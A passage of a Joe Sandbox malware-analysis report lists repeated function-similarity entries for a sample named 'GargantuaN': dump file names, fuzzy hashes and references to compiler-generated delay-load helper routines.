Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ef3285234239464f33fd3a602810fb798ce3ebe2c5974a5dd68677c3c0d9eb38
Instruction ID: a6c35435052ad682f341242e135aeca690ec48aca2cd10e8ba624c70db6846d2
Opcode Fuzzy Hash: ef3285234239464f33fd3a602810fb798ce3ebe2c5974a5dd68677c3c0d9eb38
Instruction Fuzzy Hash: 06B012F9268000FE3144B1045D03C37031CC8C1F11330903EF805D2280E8408E051973

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E593 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E580

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2b3137356c226b9f4bbce96ed6f931a8edb139dd4f1894f84fcf7477287eb652
Instruction ID: 4f47c11820163cce4543f2a54392e69dff9ee4ae7b8f716fd1daba08cb9e2298
Opcode Fuzzy Hash: 2b3137356c226b9f4bbce96ed6f931a8edb139dd4f1894f84fcf7477287eb652
Instruction Fuzzy Hash: ABB012D926C110FF314462591C03C37030CC0C0B10330503EF406C2180F8504C041972

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E5B1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E580

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 298d21e3d4d41ec7c8aa2a63077e989c2696b8e22ce512606d7f218cb2cb8e3b
Instruction ID: 2b5a79e1ed1ff85fab9f528aaa15e93a036b855a52d2c9ad391fc2df427c8400
Opcode Fuzzy Hash: 298d21e3d4d41ec7c8aa2a63077e989c2696b8e22ce512606d7f218cb2cb8e3b
Instruction Fuzzy Hash: AFB012D926C210FE318461595C03C37031CC0C0B10330523EF406C2180F8405C441972

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E5A7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E580

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: aed257a33c35f951e2d9bc70d80aaa26078f5a16dcccd99032a4a3c8c3783154
Instruction ID: 48ca4ceb4b469d2261b2cb7abc0bc8149ebd99ffd376bb94112895e548ad6891
Opcode Fuzzy Hash: aed257a33c35f951e2d9bc70d80aaa26078f5a16dcccd99032a4a3c8c3783154
Instruction Fuzzy Hash: 24B012D92AC110FE314461595D03C37031CC0C0B10330523EF406C2180FC404D051972

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E546 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E51F

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 355c19f0d425da03a2a22b0dc1b4d4013c2ee8b5eff9e3bda19bd978164994c8
Instruction ID: 67ea6d3df7777cfd3f2f5cdf4fc01ed8eefc28d4fc22c6278634199afce4242a
Opcode Fuzzy Hash: 355c19f0d425da03a2a22b0dc1b4d4013c2ee8b5eff9e3bda19bd978164994c8
Instruction Fuzzy Hash: 83B012D926C100FE324471089C03C7B030CC4C1F10330523EF406C11C0F8405C481971

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E50D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E51F

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c855e0100a0486da1bbb82006e05fe1b7a16659011e086646b52a47289e83e3f
Instruction ID: 86f1286442a9dcfe2c45a2121e0951c1b0642373be3c44e6efecb1110d9d23cc
Opcode Fuzzy Hash: c855e0100a0486da1bbb82006e05fe1b7a16659011e086646b52a47289e83e3f
Instruction Fuzzy Hash: 35B012D9268000FE310431285C07C7B030CC4C1F10330513EF452C04C1F8504D081871

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E532 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E51F

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 84362904c9dc02f18d78faed5102d1fcbc8461fd4b8b22038532545d92f7fbf7
Instruction ID: 1549b65ef0dc40b70827c2ec448966999bb88cb2556b41b196cf55adb07bacfd
Opcode Fuzzy Hash: 84362904c9dc02f18d78faed5102d1fcbc8461fd4b8b22038532545d92f7fbf7
Instruction Fuzzy Hash: 6BB012D9268000FF314471085C03D7B030CC4C1F10330503EF406C11C0F8504C041971

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E528 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E51F

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 69bb6e7060deca3cc8131ae4f9add1ce64df54fe58e22f923472ece22fed2684
Instruction ID: e035ecd1614cbeb6031b08b34352199d1a7a27ec675ea146e14b11e361a69171
Opcode Fuzzy Hash: 69bb6e7060deca3cc8131ae4f9add1ce64df54fe58e22f923472ece22fed2684
Instruction Fuzzy Hash: DBB012D92A8040FF314471085D03C7B070CC5C1F10330903EF406C11C0F8404C051971

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E2D7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5539603ac5dbbb47a7d892f4911e373a95169d48a051e090d63ff123fe4f17cc
Instruction ID: b4778b600c768bf0fa3c168faced2accb3882ec99a2e5c41d85b7274523fc5cb
Opcode Fuzzy Hash: 5539603ac5dbbb47a7d892f4911e373a95169d48a051e090d63ff123fe4f17cc
Instruction Fuzzy Hash: 0CA001EA6A9242FE3548A2526D16C3B131DC4C6B61330996EF856C5485E8A4A84929B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E2C3 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 20b60635f2d7b62a97709415c0623beef81b9e9273c338f6ba5ca6c5c272336c
Instruction ID: b4778b600c768bf0fa3c168faced2accb3882ec99a2e5c41d85b7274523fc5cb
Opcode Fuzzy Hash: 20b60635f2d7b62a97709415c0623beef81b9e9273c338f6ba5ca6c5c272336c
Instruction Fuzzy Hash: 0CA001EA6A9242FE3548A2526D16C3B131DC4C6B61330996EF856C5485E8A4A84929B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E2CD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e7fbb0e0fe0b0e7cdd7cb07e9d2f0750755910bef9312f3baec5480e9c8c4cd0
Instruction ID: b4778b600c768bf0fa3c168faced2accb3882ec99a2e5c41d85b7274523fc5cb
Opcode Fuzzy Hash: e7fbb0e0fe0b0e7cdd7cb07e9d2f0750755910bef9312f3baec5480e9c8c4cd0
Instruction Fuzzy Hash: 0CA001EA6A9242FE3548A2526D16C3B131DC4C6B61330996EF856C5485E8A4A84929B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E291 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 90daf35dd19f98ab5fd941a3d13913059d51975ce1c0d931ffbe6684fce60eae
Instruction ID: b4778b600c768bf0fa3c168faced2accb3882ec99a2e5c41d85b7274523fc5cb
Opcode Fuzzy Hash: 90daf35dd19f98ab5fd941a3d13913059d51975ce1c0d931ffbe6684fce60eae
Instruction Fuzzy Hash: 0CA001EA6A9242FE3548A2526D16C3B131DC4C6B61330996EF856C5485E8A4A84929B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E29B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a00f4523287120db6a6786a13402f379e891f32012d1e7a805e16f46803758a9
Instruction ID: b4778b600c768bf0fa3c168faced2accb3882ec99a2e5c41d85b7274523fc5cb
Opcode Fuzzy Hash: a00f4523287120db6a6786a13402f379e891f32012d1e7a805e16f46803758a9
Instruction Fuzzy Hash: 0CA001EA6A9242FE3548A2526D16C3B131DC4C6B61330996EF856C5485E8A4A84929B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E2B9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b6b17324f66444e037516d7cb7c3f5e7288a4479bbd8bc6a2f49cebcbfe10c3c
Instruction ID: b4778b600c768bf0fa3c168faced2accb3882ec99a2e5c41d85b7274523fc5cb
Opcode Fuzzy Hash: b6b17324f66444e037516d7cb7c3f5e7288a4479bbd8bc6a2f49cebcbfe10c3c
Instruction Fuzzy Hash: 0CA001EA6A9242FE3548A2526D16C3B131DC4C6B61330996EF856C5485E8A4A84929B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E2A5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4f0b66699b24f5b818a2c4a1e910adccc71fe25efa1f2832e5ea8bd8f4ec1654
Instruction ID: b4778b600c768bf0fa3c168faced2accb3882ec99a2e5c41d85b7274523fc5cb
Opcode Fuzzy Hash: 4f0b66699b24f5b818a2c4a1e910adccc71fe25efa1f2832e5ea8bd8f4ec1654
Instruction Fuzzy Hash: 0CA001EA6A9242FE3548A2526D16C3B131DC4C6B61330996EF856C5485E8A4A84929B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E2AF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2f22bde702909a8e3c20cb00251963abadcc272d66d01cc62042960d757c87b2
Instruction ID: b4778b600c768bf0fa3c168faced2accb3882ec99a2e5c41d85b7274523fc5cb
Opcode Fuzzy Hash: 2f22bde702909a8e3c20cb00251963abadcc272d66d01cc62042960d757c87b2
Instruction Fuzzy Hash: 0CA001EA6A9242FE3548A2526D16C3B131DC4C6B61330996EF856C5485E8A4A84929B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E25F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
